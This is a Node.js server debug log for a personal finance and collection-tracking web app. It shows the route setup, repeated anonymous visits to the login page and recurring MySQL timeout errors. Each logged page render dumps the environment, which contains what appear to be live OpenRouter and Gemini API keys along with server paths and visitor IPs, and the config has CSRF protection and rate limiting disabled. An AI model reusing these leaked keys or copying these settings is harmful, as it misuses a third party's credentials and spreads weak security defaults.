  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-05T15:46:12.791Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-05T15:46:13.656Z server-connect:setup:upload Upload middleware configured.
2026-05-05T15:46:13.656Z server-connect:secure CSRF Protection initialized
2026-05-05T15:46:13.660Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-05T15:46:13.662Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-05T15:46:13.663Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-05T15:46:13.665Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-05T15:46:13.674Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-05T15:46:13.675Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-05T15:46:13.688Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-05T15:46:13.702Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-05T15:46:13.708Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-05T15:46:13.708Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-05T15:46:13.710Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-05T15:46:13.716Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-05T15:46:13.721Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-05T15:46:13.730Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-05T15:46:13.733Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-05T15:46:13.804Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-05T15:46:13.807Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-05T15:46:13.811Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-05T15:46:13.819Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-05T15:46:13.823Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-05T15:46:13.823Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-05T15:46:13.832Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-05T15:46:13.832Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-05T15:46:13.840Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-05T15:46:13.840Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-05T15:46:13.845Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-05T15:46:13.848Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-05T15:46:13.848Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-05T15:46:13.856Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-05T15:46:13.856Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-05T15:46:13.860Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-05T15:46:13.860Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-05T15:46:13.864Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-05T15:46:13.868Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-05T15:46:13.873Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-05T15:46:13.878Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-05T15:46:13.878Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-05T15:46:13.888Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-05T15:46:14.378Z server-connect:router Serving templateView /
2026-05-05T15:46:14.381Z server-connect:app Executing action step identify
2026-05-05T15:46:14.381Z server-connect:app options: { provider: 'security' }
2026-05-05T15:46:14.383Z server-connect:auth No login cookie found
2026-05-05T15:46:14.383Z server-connect:output identity: false
2026-05-05T15:46:14.383Z server-connect:app Executing action step restrict
2026-05-05T15:46:14.383Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-05T15:46:14.387Z server-connect:output restrict: undefined
2026-05-05T15:46:14.520Z server-connect:router Serving templateView /login
2026-05-05T15:46:14.521Z server-connect:app Executing action step identify
2026-05-05T15:46:14.521Z server-connect:app options: { provider: 'security' }
2026-05-05T15:46:14.521Z server-connect:auth No login cookie found
2026-05-05T15:46:14.521Z server-connect:output identity: false
2026-05-05T15:46:14.521Z server-connect:router Render template layouts/authentication
2026-05-05T15:46:14.522Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '136.111.183.123',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-06T15:46:14.518Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '136.111.183.123',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '136.111.183.123',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-05 16:23:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-05 16:23:14' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-05 17:00:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-05 17:00:15' as DATETIME)"
}
2026-05-05T17:43:51.433Z server-connect:router Serving templateView /
2026-05-05T17:43:51.435Z server-connect:app Executing action step identify
2026-05-05T17:43:51.435Z server-connect:app options: { provider: 'security' }
2026-05-05T17:43:51.435Z server-connect:auth No login cookie found
2026-05-05T17:43:51.435Z server-connect:output identity: false
2026-05-05T17:43:51.435Z server-connect:app Executing action step restrict
2026-05-05T17:43:51.435Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-05T17:43:51.436Z server-connect:output restrict: undefined
2026-05-05T17:43:51.566Z server-connect:router Serving templateView /login
2026-05-05T17:43:51.567Z server-connect:app Executing action step identify
2026-05-05T17:43:51.567Z server-connect:app options: { provider: 'security' }
2026-05-05T17:43:51.567Z server-connect:auth No login cookie found
2026-05-05T17:43:51.567Z server-connect:output identity: false
2026-05-05T17:43:51.567Z server-connect:router Render template layouts/authentication
2026-05-05T17:43:51.568Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.9.194.25',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-06T17:43:51.566Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.9.194.25',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.9.194.25',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-05 19:07:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-05 19:07:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-05 21:01:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-05 21:01:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-05 21:06:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-05 21:06:17' as DATETIME)"
}
2026-05-05T21:53:11.140Z server-connect:router Serving templateView /
2026-05-05T21:53:11.142Z server-connect:app Executing action step identify
2026-05-05T21:53:11.142Z server-connect:app options: { provider: 'security' }
2026-05-05T21:53:11.142Z server-connect:auth No login cookie found
2026-05-05T21:53:11.142Z server-connect:output identity: false
2026-05-05T21:53:11.142Z server-connect:app Executing action step restrict
2026-05-05T21:53:11.143Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-05T21:53:11.144Z server-connect:output restrict: undefined
2026-05-05T21:53:11.263Z server-connect:router Serving templateView /login
2026-05-05T21:53:11.264Z server-connect:app Executing action step identify
2026-05-05T21:53:11.264Z server-connect:app options: { provider: 'security' }
2026-05-05T21:53:11.264Z server-connect:auth No login cookie found
2026-05-05T21:53:11.264Z server-connect:output identity: false
2026-05-05T21:53:11.264Z server-connect:router Render template layouts/authentication
2026-05-05T21:53:11.264Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '54.152.28.140',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-06T21:53:11.263Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '54.152.28.140',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '54.152.28.140',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-05 23:17:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-05 23:17:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-06 00:08:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-06 00:08:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-06 00:45:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-06 00:45:17' as DATETIME)"
}
2026-05-06T02:12:14.615Z server-connect:router Serving templateView /
2026-05-06T02:12:14.615Z server-connect:app Executing action step identify
2026-05-06T02:12:14.616Z server-connect:app options: { provider: 'security' }
2026-05-06T02:12:14.616Z server-connect:auth No login cookie found
2026-05-06T02:12:14.616Z server-connect:output identity: false
2026-05-06T02:12:14.616Z server-connect:app Executing action step restrict
2026-05-06T02:12:14.616Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-06T02:12:14.618Z server-connect:output restrict: undefined
2026-05-06T02:12:14.812Z server-connect:router Serving templateView /login
2026-05-06T02:12:14.812Z server-connect:app Executing action step identify
2026-05-06T02:12:14.812Z server-connect:app options: { provider: 'security' }
2026-05-06T02:12:14.812Z server-connect:auth No login cookie found
